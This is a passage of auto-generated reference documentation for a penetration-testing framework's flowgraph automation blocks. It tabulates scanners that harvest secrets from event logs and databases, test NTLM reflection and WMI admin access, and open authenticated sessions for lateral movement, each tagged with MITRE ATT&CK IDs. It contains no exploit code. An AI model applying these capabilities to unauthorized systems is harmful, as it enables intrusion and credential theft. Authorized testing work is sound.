Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1552.001` --- ### `SCANNER_FTPANON` *Category: `SCANNER`* Tests FTP servers for anonymous login access **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `success` | `bool` | FTP anonymous login allowed | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | --- ### `SCANNER_MSSQLDBINFO` *Category: `SCANNER`* Maps the full database schema (databases, tables, columns) on MSSQL servers **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_MSSQLSENSDATA` *Category: `SCANNER`* Scans MSSQL databases for sensitive data (PII, financial, credentials) using keyword matching **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1005` --- ### `SCANNER_WEBSCREENSHOT` *Category: `SCANNER`* Captures screenshots of web services for visual reconnaissance at scale **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1592` --- ### `SCANNER_NTLMREFLECTION` *Category: `SCANNER`* Tests for NTLM reflection (relay-to-self) vulnerability via remote registry **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1187` --- ### `SCANNER_NTLMV1` *Category: `SCANNER`* Checks if NTLMv1 is permitted by reading LmCompatibilityLevel from registry **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1557` --- ### `SCANNER_BASELINE` *Category: `SCANNER`* All-in-one baseline assessment combining 12+ checks per target **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_SMBREGSESSION` *Category: `SCANNER`* Enumerates local user SIDs from the remote registry via SMB **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1012` --- ### `SCANNER_HTTPFINGER` *Category: `SCANNER`* Identifies web applications and technologies on HTTP/HTTPS services **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_EVENT6SECRETS` *Category: `SCANNER`* Extracts embedded secrets (credentials, keys) from Windows Event Logs via SMB **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1552` --- ### `SCANNER_WMIADMIN` *Category: `SCANNER`* Tests admin-level WMI access for remote execution capabilities **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `ADMIN` | `bool` | WMI admin access confirmed | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1047` --- --- # [Automations / Block reference] Sessions Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/sessions.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Sessions and ID splitters `OPEN_SESSION_<CLIENT>` blocks consume a `target` (and a protocol-typed `credential` where required) and emit a `session_<client>` reference on success or an `error` dict on failure. One block is generated per entry in `octopwn.clients.OCTOPWN_CLIENT_TABLE`. The `result` input port accepts a combined scan-result with both `__tid` and `__cid` set (typically straight out of an authenticated scanner like `SCANNER_SMBADMIN`) and opens exactly one session per item. `ID_SPLITTER` and `ID_SPLITTER_PAIR` unpack a session or error item back into target / credential identifiers so downstream attack blocks can be wired without losing provenance. Prefer `ID_SPLITTER_PAIR` whenever each (target, credential) pair should run an attack exactly once. --- **17 block type(s) in this category.** --- ### `OPEN_SESSION_KERBEROS` *Category: `SESSION`* Opens an authenticated Kerberos (KRB5) client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential_krb` | no | KERBEROS-compatible credential (cross-product with host port) | | `session` | output | `session_kerberos` | no | KERBEROS session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `TGT` | no | Auth type (default: TGT) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | --- ### `OPEN_SESSION_LDAP` *Category: `SESSION`* Opens an authenticated LDAP client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential_ldap` | no | LDAP-compatible credential (cross-product with host port) | | `session` | output | `session_ldap` | no | LDAP session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `NTLM` | no | Auth type (default: NTLM) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | --- ### `OPEN_SESSION_SMB` *Category: `SESSION`* Opens an authenticated SMB client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential_smb` | no | SMB-compatible credential (cross-product with host port) | | `session` | output | `session_smb` | no | SMB session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `NTLM` | no | Auth type (default: NTLM) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | **MITRE ATT&CK:** `T1021.002` --- ### `OPEN_SESSION_SSH` *Category: `SESSION`* Opens an authenticated SSH client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential_ssh` | no | SSH-compatible credential (cross-product with host port) | | `session` | output | `session_ssh` | no | SSH session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `PASSWORD` | no | Auth type (default: PASSWORD) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | **MITRE ATT&CK:** `T1021.004` --- ### `OPEN_SESSION_NETCAT` *Category: `SESSION`* Opens an authenticated Netcat client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential` | no | NETCAT-compatible credential (cross-product with host port) | | `session` | output | `session_netcat` | no | NETCAT session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `NONE` | no | Auth type (default: NONE) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | --- ### `OPEN_SESSION_RDP` *Category: `SESSION`* Opens an authenticated RDP client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential` | no | RDP-compatible credential (cross-product with host port) | | `session` | output | `session_rdp` | no | RDP session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `NTLM` | no | Auth type (default: NTLM) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | **MITRE ATT&CK:** `T1021.001` --- ### `OPEN_SESSION_DNS` *Category: `SESSION`* Opens an authenticated DNS client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential` | no | DNS-compatible credential (cross-product with host port) | | `session` | output | `session_dns` | no | DNS session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `NONE` | no | Auth type (default: NONE) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | --- ### `OPEN_SESSION_DCEDRSUAPI` *Category: `SESSION`* Opens an authenticated DCE-DRSUAPI client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential` | no | DCEDRSUAPI-compatible credential (cross-product with host port) | | `session` | output | `session_dcedrsuapi` | no | DCEDRSUAPI session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `NTLM` | no | Auth type (default: NTLM) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | **MITRE ATT&CK:** `T1021` --- ### `OPEN_SESSION_WINRM` *Category: `SESSION`* Opens an authenticated WinRM client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential` | no | WINRM-compatible credential (cross-product with host port) | | `session` | output | `session_winrm` | no | WINRM session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `NTLM` | no | Auth type (default: NTLM) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | **MITRE ATT&CK:** `T1021.006` --- ### `OPEN_SESSION_NFS3` *Category: `SESSION`* Opens an authenticated NFS client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential` | no | NFS3-compatible credential (cross-product with host port) | | `session` | output | `session_nfs3` | no | NFS3 session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `NONE` | no | Auth type (default: NONE) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | --- ### `OPEN_SESSION_SNMP` *Category: `SESSION`* Opens an authenticated SNMP client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential` | no | SNMP-compatible credential (cross-product with host port) | | `session` | output | `session_snmp` | no | SNMP session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `v2c` | no | Auth type (default: v2c) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | --- ### `OPEN_SESSION_NTP` *Category: `SESSION`* Opens an authenticated NTP client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential` | no | NTP-compatible credential (cross-product with host port) | | `session` | output | `session_ntp` | no | NTP session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `NONE` | no | Auth type (default: NONE) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | --- ### `OPEN_SESSION_MSSQL` *Category: `SESSION`* Opens an authenticated MSSQL client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential` | no | MSSQL-compatible credential (cross-product with host port) | | `session` | output | `session_mssql` | no | MSSQL session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `NTLM` | no | Auth type (default: NTLM) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | **MITRE ATT&CK:** `T1021` --- ### `OPEN_SESSION_FTP` *Category: `SESSION`* Opens an authenticated FTP client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential` | no | FTP-compatible credential (cross-product with host port) | | `session` | output | `session_ftp` | no | FTP session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `PASSWORD` | no | Auth type (default: PASSWORD) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | **MITRE ATT&CK:** `T1021` --- ### `OPEN_SESSION_WMI` *Category: `SESSION`* Opens an authenticated WMI client session to a host using the provided credential. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `result` | input | `scan_result` | no | Combined scan result with __tid+__cid from an authenticated scanner — opens exactly one session per item | | `host` | input | `scan_result` | no | Host dict with __tid (cross-product with credential port) | | `credential` | input | `credential` | no | WMI-compatible credential (cross-product with host port) | | `session` | output | `session_wmi` | no | WMI session reference: {session_id, target_id, credential_id} | | `error` | output | `error` | no | Error dict if session could not be opened | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `atype` | `str` | `NTLM` | no | Auth type (default: NTLM) | | `timeout` | `int` | `10` | no | Connection timeout in seconds | **MITRE ATT&CK:** `T1047` --- ### `ID_SPLITTER` *Category: `SESSION`* Unpacks session references and/or error dicts into separate target and credential flows. Accepts items from both the session port (OPEN_SESSION_* success output) and the error port (OPEN_SESSION_* or CMD_* error output). Emits a __tid dict on the target port and a __cid dict on the credential port for each item that carries the respective ID. Items that yield neither are silently dropped. Wire target → attack block target port, credential → attack block credential port. NOTE: emits target and credential on separate ports — downstream will cross-product them. Use ID_SPLITTER_PAIR instead if you want each (target, credential) pair to run exactly once. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `any` | yes | Session reference from OPEN_SESSION_* success output | | `error` | input | `any` | yes | Error dict from OPEN_SESSION_* or CMD_* error output | | `target` | output | `scan_result` | no | Target dict {__tid} for each resolvable item | | `credential` | output | `credential` | no | Credential dict {__cid} for each resolvable item | **Parameters** *No parameters.* --- ### `ID_SPLITTER_PAIR` *Category: `SESSION`* Unpacks session references and/or error dicts into paired {__tid, __cid} dicts. Unlike ID_SPLITTER (which emits on separate ports causing cross-product fan-out), this block keeps each (target_id, credential_id) pair together on a single "pair" port. Wire pair → attack block pair port so each session runs exactly once with its own credential. Items missing either ID are silently dropped. Set skip_done=true in runloop graphs to suppress pairs already emitted in a previous iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `any` | yes | Session reference from OPEN_SESSION_* success output | | `error` | input | `any` | yes | Error dict from OPEN_SESSION_* or CMD_* error output | | `pair` | output | `scan_result` | no | Paired {__tid, __cid} dict — one per session | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `skip_done` | `bool` | false | no | Skip (tid, cid) pairs already emitted in a previous runloop iteration | --- --- # [Automations / Block reference] Commands Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/commands.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Session commands A `CMD_<CLIENT>` block runs any command supported by a live `<CLIENT>` session — the command list comes straight from the same command map that drives the interactive console for that client. One block is generated per entry in `OCTOPWN_CLIENT_TABLE`. Wire the optional `data` input to feed dynamic per-invocation arguments (e.g. one share name per item) from an upstream scanner. --- **15 block type(s) in this category.** --- ### `CMD_KERBEROS` *Category: `COMMAND`* Runs any Kerberos (KRB5) client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_kerberos` | no | KERBEROS session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_kerberos` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | KERBEROS command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_LDAP` *Category: `COMMAND`* Runs any LDAP client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ldap` | no | LDAP session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_ldap` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | LDAP command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_SMB` *Category: `COMMAND`* Runs any SMB client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_smb` | no | SMB session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_smb` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | SMB command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_SSH` *Category: `COMMAND`* Runs any SSH client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | 